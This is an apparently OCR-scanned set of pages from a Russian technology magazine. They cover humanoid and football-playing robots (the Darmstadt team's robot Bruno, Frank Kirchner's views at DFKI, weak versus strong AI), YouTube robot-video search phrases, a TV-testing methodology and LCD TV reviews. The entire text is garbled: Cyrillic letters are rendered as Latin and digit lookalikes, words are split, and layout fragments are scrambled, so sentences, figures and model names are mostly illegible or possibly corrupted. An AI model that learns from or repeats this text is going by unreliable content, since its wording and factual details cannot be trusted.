hohbk) 3to 3HaneHHe yMeHBmajiocb ao 10%, TaK KaK njio- 
xan ocBemeHHOCTB npaxTmiecKH napajiH30BbiBajia paGoTy 
CHCTeMBi. «Ha ceroAHHiiiHHft Aem> ajih p03biCKa b oGiae- 
CTBeHHbix MecTax OHa He npHMeHHMa», — c coxajieHneM 
KOMMeHTHpyeT pe3yjiBTaTBi HeTbipexMecHHHbix HcnbiTaHHft 
npeaCTaBHTeJIb KpHMHHaJIBHOft nOJIHIJHH. 

3tot npHMep otjihhho aeMOHCTpnpyeT cymecTByiomHe 
HeaocTaTKH noaoGHbix chctcm: ohh BejiHKOJienHO cpyHK- 
n;HOHHpyiOT b CTporo onpeaejieHHbix ycjiOBimx h cnpaBjimoT- 
CH co CTporo orpaHimeHHbiM KpyroM 3aaan, oaHaxo Majieft- 
mee HenpeaBHaeHHoe oGcTOirrejiBCTBO Bbi3biBaeT y hhx 
3aTpyaHeHHB. HtoGbi GjiOKHpoBaTB paGoTy cynepHHTejuiex- 
TyajiBHoft CHCTeMBi, HacTpoeHHoft Ha HeTKoe Bocnpmr me 
oGjiHKa nejiOBexa, aocTaTOHHO iuioxoro ocBemeHHH. 

CymecTBOBaHHe npoGjieMbi noaTBep^aaeT h OpaHK Knpx- 
Hep. no ero cjiOBaM, b nocjieaHHe roabi HaGjiioaaeTCH -4 


MHTEPBbK) 

«B TaKTMMeCKOM OTHOUJeHMM 
po6oTbi jiymue» 


flopnaH LLIonbia (TexHMnecKMM yH i/i BepcmeT flapMiiJTaflTa) 


Bbl CO CBOeft KOMaHflOM 
po60TOB-C|)yT6o^MCTOB CTa- 

m meMriMOHaMM Mwpa. n pn- 
Mme Haul ii nosApaB/ieHMB. 

Cnacn6o. Xony CKa3aib, 

HTO 3a BCeM 3TMM CTOMT 
HecKO/ibKO ^eiynopHOM 
pa6oTbi. OflHaKO Hawn 
ycwiMfl onpaBAa^ncb. 

3to TaK flojiro — o6yMMTb 
po6oia wrpe b (jpyj6oj\? 

Mbi Hana m 3aHMMaTbC5i 
po6oTOM-ryMaHOMAOM b 
2004 roAy. CHana/ia oh ao/i- 
>KeH 6bm HayHMTbca 6eraib, 
BeAb 3 to He MrpyiuKa M3 wa- 
ra3MHa. IIotom ewiy c^eAOBa- 
Hanaib 6eraib yBepeHHo, 
HTo6bi He onpoKMAbiBaibca, 
Aa>Ke CTO/lKHyBUJMCb c co- 
nepHMKOM, a ynaB, oh o6a3aH 
CaM0CT05ITe^bH0 nOAHMIviaTb- 
ca. 06-beM pa6oTbi 6bm Ta- 

KOM, HTO Ana ae^OM AK)>KMHbl 
COTpyAHMKOB OAHU TO^bKO 
noAroTOBme^bHbie acmctbm5i 
3aHfl/in ae^bm roA. 

Ho BeAb nocne 3ioro Barn 
Po6ot eu\e He yMeii MrpaTb? 

3aTeM HacTynM^ cneAyioLAMM 
3Tan: po6oTAon>KeH 6bm Ha- 
naib opMeHTMpoBaTbca Ha 
MrpoBOM no^e. Oh ynmica 

«BMA0Tb», a Mbi «06bflCH51/lM» 


ewy, hto ecTb >Ke^Tbie m c h- 
Hi/ie BopoTa, hto map opaH- 
>KeBoro ABeTa — 3 to Man, 
a TaK>Ke KaKOB pa3Mep 
cf)yT6o^bHoro no^5i. 

3TO 3ByMMT AOCTaTOMHO 

c/io>kho HaBepHoe, o6i>- 
HCHHeT, noMeMy c|)yT6oA e 
MCnOJlHeHMM po60TOB Bbl- 
rjinixMT noMTM TaK >Ke, KaK 
m Tpw-MeTbipe rofla Ha3afl. 
3 to TaK. BnponeM, po6oTbi 
CTaHOBflTcn Bee 6o^ee co- 
BepweHHbiMM. Hanpmviep, 
paHbme ohm nbiTa^MCb abm- 
raTbC5i k M5iny, a 3aTew k bo- 
poTaM no KpaTHaMLueMy ny- 
tm. CeroAHn ohm CTapaiOTC5i 
H3MTM TaKyiO TpaeKTopMio, 
HT06bl OAHOBpeMeHHO 6^0- 
KMpoBaTb ABM>KeHMe conep- 

HMK3 K C06CTBeHHblM BOpO- 
TaM. B T3KTMHeCK0M OTHO- 
meHMM 3 to 6o^ee pa3yMH0. 

Hepe3 40 neT, Bepofrmo, 

MdLLIMHbl CpaSHTCH C KOMaH- 
AOH HaCTOBLAMX ($\/t60J\M- 
ctob. y po6otob 6yflyT 
uiaHCbi Ha no6eAy? 

3tO BeebMa 3aMaHHMB35l M 
MHTepeCH35l ue/lb. OTHIOAb 
He cHMTaio ee Hepea/iMCTMH- 
hom. B ^io6om c/iynae 3 to 

6bmO 6bl 33H5ITHO. 



ttTOJIbKO 
noAroTOBMTejibHbie 
pa6oTbl A/IMilliCb ■ 
OKO/io roAa» ! 
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B/iecramafl TexHMKa: 

TaK Bbir/i^flm po6oT-MeMnnoH 



0H3HHeCKafl H TaKTHHeCKafl nOflrOTOBKa flOJDKHbl 6blTb Ha BbICOKOM 
ypoBHe - 3 to o6bennHfleT po6otob c HacTomuHMH t|jyT6ojiHCTaMH. 
PaccMOTpHM noflpofiHee oco6eHHOc™ Her/inMOHa no hmchh Bruno. 


YMeHMe OpDBHTDpOBaTbCil 

rwpOCKOn M TpeXOCeBOM flaTHMK 
yCKOpCHMB nOCTOBHHO KOHTpOJIli- 

pywi nojio)KeHMe Bruno b npo- 
CTpaHCTBC. Ohm HenpepbiBHO no- 
cbmaroT MHtJJopMauuK) Ha njiaiy 
ynpaB/ieHMH nepesvieineHnflMM, 
KOTopafl b pc)KHM6 peaiibHoro 
BpeMCHli (3a 10 MC) BbIHIiCJIBOT 
fleiiCTBMfl, TpeOymiuHecn, Hanpw- 
Mep, flan noflflepMaHwn paBHOBe- 
cma. Ecjim podoT naflaeT, oh momot 
C aMOCTOHTeJlbHO nOflHHTbCH. 


UncppoBoe cepnue 

B rpyflw podoia CKpbua 
MaiepuHCKan nnaia - 
cepflue Bruno. CeMHac Ha 
Heu padoiaeT npoueccop 
Intel Atom Z530 c t3kto- 
BOM HaCTOTOM 1,6 TT\\. 

3a ynpaBjiemie nepeflBM- 
)KeHHfuvm OTBenaeT ot- 
flenbHbm KOHTpoiiJiep. 


Pa3yM 

CnocodHOdb MbicjiMTb odec- 
neHMBaeT TpexypoBHeBan 
nporpaMMHan apxmeKTypa. 
nepBbiM (caMbiw hmjkhmm) ypo- 
BeHb npMBOflHT B fleMCTBM6 
MOTopbi (cm. 6jiok «MycKyjib- 
Han cmia»). YpoBeHb peifuieK- 
cob ynpaBJineT flBMweHMHMM 
(cm. «yMemie opneHTnpoBaTb- 
cn»). KorHMTMBHbiM ypoBeHb 
OTBenaeT 3a Bee ocianbHbie 
CjjyHKUMM - BbIHMCneHMe MO- 
flenw OKpyxoKmieM o6ct3hob- 
kh, nnaHMpoBaHwe wrpoBbix 
xoflOB h 3a6nBaHne ronoB. 


3peHHe 

y Bruno Bcero oj\m rna3 - Mfleo- 
xaMepa Philips SPC 1300 NC. Ona 
ocHaiueHa MaipMueu c pa3pemeHneM 
1,3 MeramiKceon, cnocodHOM Becm 
CbeMKy CO CKOpOCTbH) 90 xanpoB/c, 
m coeflMHeHa c MaiepMHCKOM nnaTOM 
no MHiepcdewcy USB. C noMombro stom 
xaMepbi Bruno yMeeT opueHTupoBaTb- 
cn, a dnaroflapn HaueceHHbiM Ha Mrpo- 
Boe none jimhmbm odHapyjKMBaei mbh. 
Ecjim me mah He BMfleH 3a conepHM- 
kom, Bruno nojiynaei MHifeopMauMK) 
od odcTaHOBKe ot napmepoB no urpe 
nocpeflCTBOM WLAN. 


MycKynbHafi ciina 

Bruno npMBOflMT b abmmc- 
Hiie cornacoBaHHan padoia 
21 MOTopa. 12 M3 hmx pac- 
nOJlOJKeHbl B HMJKHMX KOHCH- 
HOCTfix, mecTb - b pyxax, 
flBa - b mee m oamh - b od- 
jiacTM Ta3a. KawabiM motop 
MM eeT COdCTBeHHbIM MMxpo- 
KOHTpojioep ynpaBJieHMB. 
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am? TECTbl H 0E30Pbl TexHOJiorMM 


BCIUieCK pa3BHTHH CeHCOpOB H MOTO- 
pOB, pOCT npOH3BOAHTeJIBHOCTH MH- 
KpOHHnOB H eMKOCTH aKKyMyjIHTO - 
pOB. «TenepB mli aojdkhbi cyMeTB 

o6BeAHHHTB BCe 3TH KOMIIOHeHTBI 
B BBICOKOHHTerpHpOBaHHbie, CJIOXHBie 
po6oTH3HpoBaHHLie CHCTeMLi, — onpeae- 
jraeT 3aaany yneHbm. — Taicne CHCTeMBi 
motjih 6 bi CTHMyjiHpOBaTB HHTejuieKTyajib- 
Hbie B03M0XCH0CTH — BnjIOTb aO BblCIHHX 
KOrHHTHBHbIX CpyHKHHH*. 

PofiOTbl flllfl flOMaillHMX flen 

/],oktop KHpxHep MeHTaeT o cucreMe, KOTOpaa b MaKCHMajib- 
hoh CTeneHH KonnpOBajia 6bi HejiOBexa — Ha ceroaHimiHHH 
aem> TaKOH, k coxcajieHHK), He cymecTByeT. DiaBHOH 3aaaneH 
HBjiHeTCii MHoroKpaTHoe yBejiHneHHe CTeneHH cbo 6 oabi 
Po 6 otob. 3HanHTejibHbiH poct HHCJia ceHcopOB AOJiaceH cno- 
co6cTBOBaTb noBbmieHHK) HyBCTBHTejibHOCTH 6yaymnx ryMa- 
HOHflOB, h peMb Haer o pacno3HaBaHHH He tojibko OKpyacaio- 

men o6CTaHOBKH, HO H COCTOHHHH C06CTBeHHbIX CHCTeM. 

Bot noreMy b DFKI TpyaflTCH 3KcnepTbi H3 pa3JiHHHbix 
c(J)ep HayKH h TexHHKH: KOHCTpyKTOpbi, cneiaHajiHCTbi no 




TexHimecKiie rpaHmjbi 

MCKyCCTBeHHOrO 

Mme/uieKTa 

He/iOBeKonoflo6Hbie po6<m>i c cofiCTBeHHbiM 
MHTBJiJieKTOM? MccjieflOBaTejui pafioTawT Han 
TeM, HT 06 bl BOnJIOTHTb CpaHTaCTMKy B )KM3Hb, 
HO Bonpoc 0 TOM, HBCKOHbKO p6aJ1MCTMHH8 
3Ta l|e/1b, CHHTaOTCH CnopHbIM. 


Cna6biH MM 

To, hto Mbi ceroflHfl iiohm- 
MaeM nojoi MCxyccTBeHHbiM 
pa 3 yM 0 M, B TepMMHOJIOrMli 
C 0 BP 6 M 6 HH 0 M HayKM Ha 3 bl- 
BaeTCB cjia 6 biM MmejuieK- 
tom. Oh no/ipa 3 yMeBaeT, 
HTO HaCTM 6 M 0 fl 0 rMHeCK 0 il 
CMCTeMbl M 0 flennpyH 3 TCB 
npw noMomii MaieMaTMHe- 
CKI 1 X aJirOpMTMOB M KOM- 
nbKITepHblX MeTOflOB. 



3JieKTpOHHKe, (f)H3HKH, MaTeMaTHKH, HeHpoGHOJIOTH H, 
pa3yMeeTCH, nporpaMMHCTbi. 

floKTOp KnpxHep 6ecnomaaHO yGnBaeT Haae>Kay b ckopom 
B peMeHH 3anojiyHHTb MajieHbKHx noMomHHKOB no aoMy, koto- 
pbie 6yayr mbitb nocyay, npHOnpaTbCH h xoanrb 3a xjie6oM: 
«no KpaHHen Mepe b o6o3Phmom OyaymeM noHBjieHMH yHH- 
BepCaJIbHblX po60TH3HpOBaHHbIX aOMOX03HeK He npeaBHaHT- 
CH». OaHaKO OH BepHT, HTO po60TbI H CHCTeMbI HH, cyme- 
CTByKDLHHe ceroaHH, 6yayr 3HanHTejibHO ycoBepmeHCTBOBaHbi. 
«B3HTb xoth 6bi KaTacTpo(j)y b MeKCHKaHCKOM 3ajiHBe: cjiy- 
MHCb OHa aecBTbK) roaaMH no3xce, mbi cmoejih 6bi Hcnojib30- 
BaTb aan jTHKBHaauHH aBapHH 6ojiee coBepmeHHbix po6otob». 
HanpHMep, TaKHx, KOTOpbie yMejin 6bi opnenrapOBaTbCH b 
M yTHOH Boae h Ha omynb HaxoaHTb Hy>KHbie HHCTpyMeHTbi. 
IToneMy xce hx ao chx nop He cyuxecTByeT? «Ilpoipecc b otoh 
o6jiacTH HHKoraa He 6 bui jiHHeHHbiM», — roBOpnr KnpxHep 
H CpaBHHBaeT ipa(J)HK pa3BHTHH HCKyCCTBeHHOTO HHTejuieKTa 
C KpHBOH, KOTOpaa TO yCTpeMJIHeTCH BBepX, TO OCTaeTCH Ha 
oaHOM ypOBHe h aaace HeMHoro onycxaeTCH. IlocjieaHHe roabi, 
no ero cjiOBaM, npeacraBjiiuiH co6oh cxopee njiaTO, oaHaxo 
ceroaHH oh o>KHaaeT onepeaHoro noa^eMa: «B OjiHacanniHe 
aBa-Tpn roaa H3MenHTCH MHoroe». Ecjih yneHbiii npaB, to neM- 
nnoHaM MHpa no 4)yr6ojiy 2050 roaa He no3aopoBHTca b npea- 



CniibHbm MM 


CMJIbHbIM MCKyCCTBeH- 
Hbm MHTejuieKT npefl- 
CTaBjiaeT co6om nonbiT- 
xy noHBTb rjiydMHHyto 
cymHOCTb GwojiorMHe- 
CKOM CMCTeMbl M CMOfle- 
jiMpoBaTb ee. To ecTb 
penb MfleT 0 noBBiieHMM 

MH C C 06 CTB 6 HHblM 
C03HaHMeM, cnocodHbix 
Ha yHMBepcaiibHoe ca- 
MOo6yneHMe. yneHbie 
CnOpBT 0 TOM, B 03 M 0 )K- 
HO JIM 3 T 0 B npMHUMne. 


HecoMHeHHO, oflHaKO, 
HTO Ha CerOflHflLUHMM 
fleHb OTcyTCTByeT Tex- 
HMHecxafl 6a3a ajib co 3 - 
fl aHMfl CMJIbHOTO Mcxyc- 
CTBeHHoro MHTemieKTa. 
ToobKO b xyfloxecTBeH- 
HblX CjlMJlbMaX podOTbl 
MHorfla BeflyT ce 6 a 
oneHb CBoeBOJibHO. 


CTOBLLXeH CXBaTKe C poOOTaMH. &S& 


MHTepecHoe BMfleo 

Ha BMfleonopTa/ie YouTube pa 3 MeiaeH 0 
MH 0 >KeCTB 0 3 aHMMaTeribHblX pOJIl/IKOB, 
nOCBfliaeHHblX pobOTOCTpoeHMK). Hto- 
6 bl M 36 aBMTb Bac OT HeobXOflMMOCTM 
BpyHHyfo nepenenaTbiBaTb flju/iHHbie 
ccbiJiKi/i, Mbi npefl/iaraeM noMCKOBbie 
c[)pa 3 bi, KOTOpbie noMoryT Hai/iTi/i Ha 
www.youtube.com Bee caMoe MHTe- 
pecHoe no 3 tom TeMe. 


Po 60 Tbl-C|iyT 60 JlMCTbl 

3anncn cpyTbo/ibHbix Mainew m APy- 
mx cocTH3aHi/iM TypHi/ipa Robocup, SSiSl 
npoBOAHBLueroca cpeAM Mmm. 
noMCKOBaa c|)pa3a: 

Robocup 2010... Robocup 1997 

P 060 T- 0 C|]MUMaHT 

OjieKTpOHHblM nOMOLAHMK npi/IHOCI/IT 
nMBO M3 XOJlOAMJlbHMKa. 

noMCKOBaa cjjpasa: 

PR2 Robot Fetches Beer 



Po6oT-aBToroHiaMK 

CopeBHOBaHMfl aBTOMObMJieM c I/I I/I. 

noMCKOBaa t|]pa 3 a: 

DARPA Urban Challenge 


PoftOT-riMaHMCT 

Jlero-poboT MrpaeT Ha poa/ie. 
noMCKOBaa cjjpasa: lego piano robot 



PofiOT-BepTOJieT 

nporpaMMMpyeMbiM MMHM-BepToaeT. 

noMCKOBaa cjjpasa: 

mikrokopter hexacopter 


M 
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MeTOfli/iKa TecTMpoBaHMfl Te/ieBM3opoB TECTbl M 0E30Pbl 


KaK TecTupyeT CHIP: 


TeneBM3opi>i 



Ted 

TeneBM3opoB 

flna oueHKM napa- 

MeTpOB KapTI/l HKH 
MCnOJlb3yK)TCa KaK 
BMfleopOJll/IKI/1, TaK 
i/i cnepnanbHbie 
pBeTOBbie Ta6/inpbi 


COCTAB OEL1JEM OI4EHKH 


5% flOKYMEHTAm/lfl I/I CEPBI/IC 30% KAHECTBO 



ripn onpefle/ieHMM KanecTBa M3o6pa>KeHi/m 1/1 3ByKa Mbi ofipamaeTca k npocpecci/iOHajibHoii 
i/i3MepnTe/ibHOM Texm/iKe 1/1 noflBepraeivi ycTpowcTBa c /iio 6 om fluaroHa/ibio axpaHa TinaTejib- 
HOMy BM3yajibHOMy, ayflMa/ibHOMy m npaKTi/iHecKOMy TecTi/ipoBam/iio. 


B BepxHeM ijeHOBOM cerMeHTe 
pBiHKa njTOCKonaHejibHbix Tejie- 
BH30p0B KOHKypHpyiOT vKH^KO- 
KpHCTajuiHHecKHe h iuia3MeH- 
Hbie MO^eJIH. H XOT5I OHH OCHOBaHbl 
Ha pa3HBix TexHOJiomBx, jjjm oaeHKH 
hx noTpe6HTejibCKHx xanecTB Hcnojib- 
3yeTca oaHa MeToaHKa. 

KanecTBO i/i306pa>KeHiisi 
BMfleoaB 

fljIH BH3yaJIbHOH OaeHKH H306pa- 
3CeHHB HaiHH 3KCnepTbI npOCMaTpH- 
BaiOT HeCKOJIBKO BHaeOCjDparMeHTOB, 
cpean KOTopbix — OTpbiBKH Tejienepe- 
aan (PAL), 4>HJibMOB c DVD, a Taioxe 
Bnaeo bbicokoh neTKOCTH c Blu-ray- 
HOCHTejien. Ilpn otom KapTHHKa oue- 
HHBaeTca no TaKHM napaMeTpaM, KaK 
KanecTBO HBeTonepeaaHH, neiKOCTB npn 
aBHaceHHH, OTCyTCTBHe JIOXHbIX KOH- 
TypOB H KOHTpaCTHOCTB. 

KanecTBO flncmiesi 

/],jih onpeaejieHHH TaKHx xapaKrepn- 
cthk H3o6paaceHHH, KaK oaHOpoa- 
hoctb, aBeTOBoe npocTpaHCTBO, raM- 
Ma-KOppeKLtHH, HpKOCTb H (J)pOHTaJIB- 
Haa KOHTpaCTHOCTB, MBI Hcnojib3yeM 


BHaeo(J)OTOMeTp LMK 98-3 ot KOMna- 
hhh Opteema. H3MeHeHne napaMeTpoB 
H3o6pa>KeHHH b 3aBHCHMOCTH ot yrjia 
3peHHB Taioxe aHajiH3HpyeTCH c noMO- 
iaBio 3toto npnGopa. 

KanecTBO 3ByKa 

TeCTHpOBaHHe aHHaMHKOB npOBOaHTCH 
B CneanaJIBHOH 3ByK0H30JIHp0BaHH0H 
KOMHaTe nOCpeaCTBOM H3MepHTeJIbHOH 

CHCTeMBi MLSSA ot KOMnaHHH DRA 
Laboratories. IlpH otom ochobhbimh 
noKa 3 aTejiHMH KanecTBeHHoro 3 Byna- 
HHB BBJI 5 HOTCH BBICOKOe 3 ByKOBOe aaB- 
JieHHe, HH 3 KHH K 03 (J)(J)HaHeHT HCJIH- 
HeiiHBix HCKaxeHHH h xoponme nac- 
TOTHBie XapaKTepHCTHKH. 

SprOHOMMHHOCTb 

Bojibinoe 3HaneHHe HMeeT hctko CTpyK- 
TypHpoBaHHoe mchio HacTpoeK. CMe- 
Ha napaMeTpoB H3o6pa:»ceHHH acmacHa 
6bitb 6bictpoh h yaobHOH, pa3MeiaeHHe 
KHonoK h pa3BeMOB — aocTynHBiM, a 
CaMH OHH — HHTyHTHBHO nOHHTHblMH. 
C oaHoii CTopoHbi, nojioxeHHe anc- 
njieH aojDKHO jierKO h3mchbtbc5i, a c 
apyroft — oh aojDKeH craGiuibHo noa- 
aepxHBaTB BbibpaHHyio opneHTaamo. 


OcHauieHMe 

3Ta KaTeropHH npeanojiaraeT ouenKy 
KOJinnecTBa HHTep(J)eHCOB, a TaiGKe 
ynHTBiBaeT HajiHHHe BCTpoeHHoro tio- 
Hepa, noTOKOBoro KjineHTa kjih peKOp- 
aepa c xcctkhm ancKOM. 

3HepronoTpe6iieHMe 

3K0H0MHHH0CTb B HCn0JIb30BaHHH CTa- 

hobhtch Bee 6ojiee aKTyajiBHon c yne- 
tom pacTyianx pacaeHOK Ha ojieKTpHHe- 
CTBO, n03T0My TeJieBH30p aOJDKeH no- 
TpebjIHTB KaK MOvKHO MCHblHe 3HepTHH. 
M3MepeHHH npOBOaHTCH BO BpeMil pa- 
60TBI, B 3K0H0MHHH0M pe^KHMe (npH 
HaJIHHHH TaKOBOTO), pOKHMC 0>KHaa- 
HHH H B BBIKJHOHeHHOM COCTOHHHH. 

flOKyMeHTaUMB m cepBMC 

3aecB ocobyio pout nrpaeT Hajm- 
HHe HHCTpyKIIHH Ha pyCCKOM H3BI- 
Ke, TaK KaK HacTpoiiKa h ynpaB- 
jieHne XK-TejieBH30p0M He Bceraa 
HHTyHTHBHO nOHHTHBI. TaioKe yHH- 
TBiBaeTCii cpoK rapaHTHH, KanecTBO 
paboTBi cepBHCHOH cjiyxbBi, Hajin- 
HHe h coaepxaHHe pa3aejia tcxhh- 
HecKoii noaaepxKH Ha caiiTe npo- 
H3BoaHTejni. am? 
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Flapafl dojibiiiMX oxpaHOB 

BbicoKOKaHecTBeHHoe M3o6pa>K6Hi/i6 tJjopiviaTa Full HD ABJiaGTCfl HeoTbeMJieMbiM 
aipudyTOM coBpeMeHHbix tgjigbm30pob. B flonojiHGHMG k 3TOMy HOBbie ycTpowcTBa 
o6jia,qaK)T no,qqep>KKOM 3D, yiviGtOT paOoiaTb c CGTGBbiMM cepBi/icaMi/i, Bbixoflmb 
b 1/lHTepHGT, a Taioxe oSnaflaiOT cn/uibHbiM bhgluhi/im bi/iaom. 


S33? TECTbl n 0E30Pbl >KK-TeneBM3opbi 


3D 

MHori/ie coBpe- 
MeHHbie TeneBi/i- 
30 p bl n03B0JlBK)T 
Hac^a>KflaTbCB 
OdteMHbIM 1/130- 
6pa>KeHMeM He 
BblXOflfl 1/13 flOMa 


n pomjiH Te BpeMeHa, xor^a 

Ha flOManiHeM TejieBH30pe 
MOvKHO 6bUI0 CMOTpeTB TOJIB- 

ko a^HpHBie nepeflann. Ce- 
roAHii TB-npH6opLi hbjih- 
lOTCH MHOrO(J)yHKIi;HOHaJIBHBIMH yCT- 
pOHCTBaMH, Cn0C06HBIMH BBinOJIHHTB 
pOJIB AOMaiHHHX KHHOTeaTpOB, HH- 
4)OpMan;HOHHBIX IjeHTpOB H TepMH- 
HajiOB ajm Aociyna b MHTepHeT. He 
BCTaBaii c AHBaHa, Ha 3KpaHe coBpe- 
MeHHoro TejieBH30pa moxcho npocMa- 
TpHBaTB MyjIBTHMeflHHHBIH KOHTCHT, 
HanpHMep BHAeo c YouTube, CTpaHH- 
u;bi Facebook, 3JieKTpOHHyio nouTy, 
hobocth, aHOHCBi TB-nepeAau, paBHO 
xax h nonyjiiipHBie cepuajiBi hjih oG- 


30pBi cnopTHBHLix coGbithh. PaGoTan 
b TaH^eMe c coBpeMeHHBiM njieepOM 
Blu-ray, noAAepxcHBaiomHM Bocnpo- 
H3Be^eHHe 3 D-bhaco, h cooTBeTCTBy- 
iouihmh ouxaMH, TB-ycTpOHCTBa no3- 
bojihiot npocMaTpHBaTB oGueMHoe BH- 
fleo. EcJIH OTBJieUBCH OT TeXHHUeCKOH 
ctopohbi Bonpoca, MOvKHO oGHapy- 
>KHTb, HTO MHOrae npOH3BOaUTejTH yue- 
JI5HOT GoJIBIHOe BHHMaHHe BHeume- 
My BH^y cbohx npo^yKTOB: cero^HH 
TaKHe yCTpOHCTBa HBJHHOTCH OAHHM 
H3 rjiaBHBix npe^MeTOB oGcTaHOB- 
KH TOCTHHOH, nOOTOMy OHH AOJHKHBI 

BLirjiHAeTB npHBjieKaTejiBHO h cthjib- 
ho. Harne TecinpOBaHHe no3BOJiHT co- 
CTaBHTB oGmee npeACTaBjieHHe o ca- 


mbix jiyuniHx h aKTyajiBHBix MOAejinx 
nonyjiHpHBix h HeAOporux 40/42 -ak>h- 
mobbix TejieBH30p0B, a Taicxe npoAyx- 
Tax KJiacca High-End c AnaroHajiBio 
AO 55 aiohmob. Ha Taicux yciponcTBax 
BejiHKOJienHO cmotphtch kak AHcjipo- 
Boe, KaGejiBHoe hjih cnyraHKOBoe 
TejieBHACHHe , Tax h bhaco bbicokoh 
ueTKOCTH CTaHAapTa Full HD. 

40/42 fliOMMa: 

6oraTaa cpyHKMMOHa/ibHocTb 
3a npneM^eMbie AeHbrn 

BjiaroAapn TOMy hto ceroAHH Ha pbih- 
xe npeACTaBjieHO orpoMHoe KOJiuue- 
ctbo TejieBH30p0B c AnaroHajiBio 40 h 
42 AiOHMa, b AaHHOM cerMeHTe mojkho 
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noflflepwKa ceTH — 

B03M0>KH0CTb BOCn pO H3Befle H l/l?1 Bl/lfleopo- 
jii/ikob M3 1/lHTepHeia i/i ji i/i c noflK/noHeHHoro 
KflOMaiuHeM cen/i Koivinbioiepa peani/i30BaHa 
bo MHori/ix coBpeivieHHbix Te/ieBi/i3opax 


Tohkmm 

Kopnyc 

npuMeHeHne 
CBeTOflMOflHOI/l nOflCBeT- 
ki/i (LED) no3BO/meT 
i/i3roiaBJii/i BaTb oneHb 
TOHKI/ie Te^eBM30pbl 


jierxo HaHTH MHoro MOAejien c yaan- 
hbim cooTHomeHneM ijeHbi h xauecTBa. 
O^HaKo noaaep>KKa nepeaoBbix TexHo- 
jiothh, HanpHMep 3 D, BCTpeuaeTcn He 
Tax uacTO, xax b 6ojiee aoporax ycTpon- 
CTBax c AHaroHajiBio ot 46 aiohmob. 

IlepBBie ana MecTa b cemeHTe mo- 
Aejien ao 42 aiohmob c He6ojibniHM 
OTpbiBOM Apyr ot Apyra 3aHHMaiOT 
TejieBH30pBi KOMnaHHH Samsung: jih- 
AepCTBO npHHaAJiexHT LE 40 C 750 , 3 a 
hhm cjieAyeT UE 40 C 8790 . OGaycTpon- 
CTBa BnenaTjimoT otjihhhbim xauecT- 
bom H3o6paxeHHB, npHneM MOAeJIB, 
KOTOpOH AOCTaJIOCB BTOpOe MeCTO, 

npeBoexoAHT no 3 TOMy noKa 3 aTejno 
no6eAHTejiH, o ueM tobopht Maxcn- 


MajiBHoe xojiHnecTBO 6ajuiOB b ashhoh 
xaTeropHH. 3 thm TejieBH30p o6n3aH 
HecxojiBxo 6ojiee pOBHOMy h cnoxon- 
HOMy BOCnpOH3BeAeHHK) BHAeo (J)op- 
MaTa Full HD. Enje 6ojibmee npeBOC- 
xoactbo MOAejib Samsung UE 40 C 8790 
AeMOHCTpHpyeT c tohxh 3peHHH xaue- 
ctbu 3ByuaHHH: BCTpoeHHan ayano- 
CHCTeMa o6ecnenHBaeT xpHCTajibHyio 
AeTajiH3au;HK) 3Byxa aaxe Ha Maxcn- 
MaJIbHOH TpOMXOCTH 6e3 omyraMbix 
noMex h HCxaxeHHH. Hto xacaeTcn 
3proHOMHHHOCTH, to 3Aecb Samsung 
UE 40 C 8790 ycTynaeT no6eAHTejno, 
npHHHHOH nero BBjineTcn, b uacT- 
HOCTH, ero CHJIbHO 6jIHXyiOIAHH npH 
AHeBHOM ocBemeHHH axpaH. 


BbiBOA ^ 

MoAe/in, 3aHflBiuMe nepBbie Asa Mecra 
cpeAM ycTpoMCTB c AMaroHa/ibfo 3KpaHa 
AO 55 aiommob, o6/iaAaiOT, c oahom cto- 
pOHbl, BHyilJMTeJIbHOM (jjyHKAMOHaJlbHO- 
CTbio, a c ApyroM — oneHb bwcokom 
CTOMMOCT bfO. XopOWMM KOMnpOMMCCOM 
b ashhom cemeHTe CTaHeT Te/ieBM3op 
LG 47LX9500, yAOCTOMBiaMMca neTBep- 
Toro Mecra: npM CBoeM AOcraTOHHO 
AeMOKpaTMHHOM ueHe AaHHoe ycrpoM- 
ctbo AeMOHCTpHpyeT KanecTBeHHoe 
M3o6pa>KeHMe m o6;iaAaeT ot/imhhom 
BCT poeHHOM 3ByK0B0M CMCTeMOM. CpeAM 
40/42-AK)MMOBbix MOAe^eM no6eAMTe- 
/ieM cra/i Te/ieBM3op Samsung LE40C750. 
OAHaKO TeM, KTO CTpeMMTCa K 3KCK/1KD- 
3MBH0My AM33MHy M BbICOKOMy K3HeCTBy 
c6opKM, npMAera pacKowe/iMTboi. 
OnTMMa/lbHblM Bbl6opOM CTOHKM 3pe- 
HMa cooTHomeHMa ueHbi m npoM3BOAM- 
Te/ibHocTM nBnneTcn Te/ieBM3op Toshiba 
40 XV 733, KOTopbm 6/iaroAapfl noA- 
Aep>KKe pa6oTbi b ceiv\ cnoco6eH 
ocyiAecTB^aTb nomKOBoe BeiAaHMe 
BMAeo m o6ecneHMBaeT cKopocmoM 
AOCTyn b 1/lHTepHeT. 
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PeKOMeHAamiM 

no noKynKe 


HbbTV CnunHiie 
MHTepHeia 
14 Te/ieBHfleHHfl 

CiaHflapT Hybrid broadcast broadband 
TV (HbbTV) He MMeeT npaKTMHecKM hm- 
nero o 6 iMero c ycrapeBWMM Te^eieKC- 
tom. 3 Aecb penb mact o Be 6 -caMTax, 
KOTopbie nepeAafOTCfl BMecre c cuma- 
aom cnyTHMKOBoro, Ka 6 e/ibHoro mam 
ac()MpHoro UMc(DpoBoro TB m OTo 6 pa>Ka- 
IOTCA Ha 3 KpaHe TeAeBM 30 pa. ripM 3 TOM 
KpynHbie MnpoBbie TeAeKaHaAbi y>Ke 
ocyiAecTBMAM 3 anycK nAaic|)opMbi 
HbbTV. B to BpeMA KaK HeKOTopbie 
cnyTHMKOBbie pecMBepbi, TaKMe, HanpM- 
Mep, KaK Humax mam VideoWeb, y>Ke 
ocHamafOTCA noAAepwKOM HbbTV, 

npOM3BOAMTeAM TeAeBM30p0B TOAbKO 

HaHMHafOT Ao 6 aBAATb ee b noAxoAALAMe 
AAA 3 TOrO yCTpOMCTBa nOCpeACTBOM 
o 6 HOBAeHMA npOLUMBKM. IlMOHepaMM 
B 3 TOM o 6 AaCTM ABAAIOTCA KOMnaHMM 

Philips, Loewe m Sharp. 

TEJIEBI/lflEHI/IE CTAHQBHTCfl 
1/IHTEPAKTl/IBHblM 

BAaroAapA noAAepwKe TexHOAorM m 
H bbTV Ha TeAeBM 3 ope mo>kho npo- 
CMaTpM B 3 Tb p 33 AMHHblM MHTepaK- 
TMBHblM KOHTeHT. 3 TO n 03 BOA ACT, B 
H 3 CTH 0 CTM, BOCnpOM 3 BOAMTb BV\f\eO 
M 3 OHAaMH-MeAMaTeK TB-KaHaAOB. 
